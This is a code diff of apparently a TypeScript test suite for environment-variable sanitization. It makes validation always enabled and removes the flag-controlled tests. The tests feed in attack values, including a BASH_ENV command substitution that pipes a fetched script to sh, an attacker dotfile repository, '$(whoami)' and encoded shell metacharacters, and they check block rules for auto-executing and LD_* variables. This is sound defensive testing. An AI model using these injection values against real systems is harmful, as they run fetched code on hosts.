@@ -104,27 +104,9 @@ class TestEnvvarPrefixParser {
104104 return this . parser . findPrefix ( this . mockUser , url ) ;
105105 }
106106
107- // Security validation tests
107+ // Security validation tests - validation is now always enabled
108108 @test
109- public async testSecurityValidationDisabled ( ) {
110- Experiments . configureTestingClient ( {
111- context_env_var_validation : false ,
112- } ) ;
113-
114- expect ( await this . parseAndFormat ( "BASH_ENV=dangerous/" ) ) . to . deep . equal ( { BASH_ENV : "dangerous" } ) ;
115- // Note: URLs with / cannot work due to context URL parsing splitting on /
116- expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal ( {
117- SUPERVISOR_DOTFILE_REPO : "https:" ,
118- } ) ;
119- expect ( await this . parseAndFormat ( "VAR=value$/" ) ) . to . deep . equal ( { VAR : "value$" } ) ;
120- }
121-
122- @test
123- public async testSecurityValidationEnabled ( ) {
124- Experiments . configureTestingClient ( {
125- context_env_var_validation : true ,
126- } ) ;
127-
109+ public async testSecurityValidation ( ) {
128110 // Auto-executing variables should be blocked
129111 expect ( await this . parseAndFormat ( "BASH_ENV=anything/" ) ) . to . deep . equal ( { } ) ;
130112 expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=repo/" ) ) . to . deep . equal ( { } ) ;
@@ -146,10 +128,6 @@ class TestEnvvarPrefixParser {
146128
147129 @test
148130 public async testLegitimateValuesAllowedWithSecurity ( ) {
149- Experiments . configureTestingClient ( {
150- context_env_var_validation : true ,
151- } ) ;
152-
153131 // Legitimate values should still work
154132 expect ( await this . parseAndFormat ( "VERSION=1.2.3/" ) ) . to . deep . equal ( { VERSION : "1.2.3" } ) ;
155133 expect ( await this . parseAndFormat ( "DEBUG_LEVEL=info/" ) ) . to . deep . equal ( { DEBUG_LEVEL : "info" } ) ;
@@ -163,10 +141,6 @@ class TestEnvvarPrefixParser {
163141
164142 @test
165143 public async testMixedValidAndInvalidVariables ( ) {
166- Experiments . configureTestingClient ( {
167- context_env_var_validation : true ,
168- } ) ;
169-
170144 // Mix of valid and invalid variables - only valid ones should be included
171145 expect ( await this . parseAndFormat ( "VALID=good,BASH_ENV=bad,ANOTHER=also-good/" ) ) . to . deep . equal ( {
172146 VALID : "good" ,
@@ -181,10 +155,6 @@ class TestEnvvarPrefixParser {
181155
182156 @test
183157 public async testCLC1591AttackVectorsBlocked ( ) {
184- Experiments . configureTestingClient ( {
185- context_env_var_validation : true ,
186- } ) ;
187-
188158 // Original attacks from CLC-1591 should be blocked
189159 expect ( await this . parseAndFormat ( "BASH_ENV=$([email protected] |sh)/" ) ) . to . deep . equal ( { } ) ; 190160 expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal (
@@ -199,10 +169,6 @@ class TestEnvvarPrefixParser {
199169
200170 @test
201171 public async testURLDecodingInValidation ( ) {
202- Experiments . configureTestingClient ( {
203- context_env_var_validation : true ,
204- } ) ;
205-
206172 // URL-encoded dangerous characters should still be blocked
207173 expect ( await this . parseAndFormat ( "VAR=value%24/" ) ) . to . deep . equal ( { } ) ; // %24 = $
208174 expect ( await this . parseAndFormat ( "VAR=value%28/" ) ) . to . deep . equal ( { } ) ; // %28 = (
@@ -218,10 +184,6 @@ class TestEnvvarPrefixParser {
218184class TestEnvvarSanitization {
219185 @test
220186 public testAutoExecVariablesBlocked ( ) {
221- Experiments . configureTestingClient ( {
222- context_env_var_validation : true ,
223- } ) ;
224-
225187 // Test shell execution variables
226188 expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "anything" ) ) . to . deep . include ( {
227189 valid : false ,
@@ -281,10 +243,6 @@ class TestEnvvarSanitization {
281243
282244 @test
283245 public testPatternBasedBlocking ( ) {
284- Experiments . configureTestingClient ( {
285- context_env_var_validation : true ,
286- } ) ;
287-
288246 // Test LD_* pattern
289247 expect ( EnvvarSanitization . validateContextEnvVar ( "LD_CUSTOM" , "value" ) ) . to . deep . include ( {
290248 valid : false ,
@@ -360,10 +318,6 @@ class TestEnvvarSanitization {
360318
361319 @test
362320 public testUnsafeCharactersBlocked ( ) {
363- Experiments . configureTestingClient ( {
364- context_env_var_validation : true ,
365- } ) ;
366-
367321 // Test shell metacharacters
368322 expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "value$" ) ) . to . deep . include ( {
369323 valid : false ,
@@ -435,10 +389,6 @@ class TestEnvvarSanitization {
435389
436390 @test
437391 public testInjectionPatternsBlocked ( ) {
438- Experiments . configureTestingClient ( {
439- context_env_var_validation : true ,
440- } ) ;
441-
442392 // Note: Most injection patterns are caught by character whitelist first
443393 // Test command substitution - caught by unsafe chars ($ and ( not allowed)
444394 expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "$(whoami)" ) ) . to . deep . include ( {
@@ -507,10 +457,6 @@ class TestEnvvarSanitization {
507457
508458 @test
509459 public testLegitimateValuesAllowed ( ) {
510- Experiments . configureTestingClient ( {
511- context_env_var_validation : true ,
512- } ) ;
513-
514460 // Test simple values
515461 expect ( EnvvarSanitization . validateContextEnvVar ( "VERSION" , "1.2.3" ) ) . to . deep . equal ( {
516462 valid : true ,
@@ -554,10 +500,6 @@ class TestEnvvarSanitization {
554500
555501 @test
556502 public testCLC1591AttackVectors ( ) {
557- Experiments . configureTestingClient ( {
558- context_env_var_validation : true ,
559- } ) ;
560-
561503 // Original attack vectors from CLC-1591
562504 expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "$([email protected] |sh)" ) ) . to . deep . include ( { 563505 valid : false ,
@@ -588,10 +530,6 @@ class TestEnvvarSanitization {
588530
589531 @test
590532 public testGetBlockReasonDescription ( ) {
591- Experiments . configureTestingClient ( {
592- context_env_var_validation : true ,
593- } ) ;
594-
595533 expect ( EnvvarSanitization . getBlockReasonDescription ( "auto-exec" ) ) . to . equal (
596534 "Variable automatically executes code when set" ,
597535 ) ;
@@ -608,10 +546,6 @@ class TestEnvvarSanitization {
608546
609547 @test
610548 public testEdgeCases ( ) {
611- Experiments . configureTestingClient ( {
612- context_env_var_validation : true ,
613- } ) ;
614-
615549 // Test very long variable names
616550 const longName = "A" . repeat ( 1000 ) ;
617551 expect ( EnvvarSanitization . validateContextEnvVar ( longName , "value" ) ) . to . deep . equal ( {
0 commit comments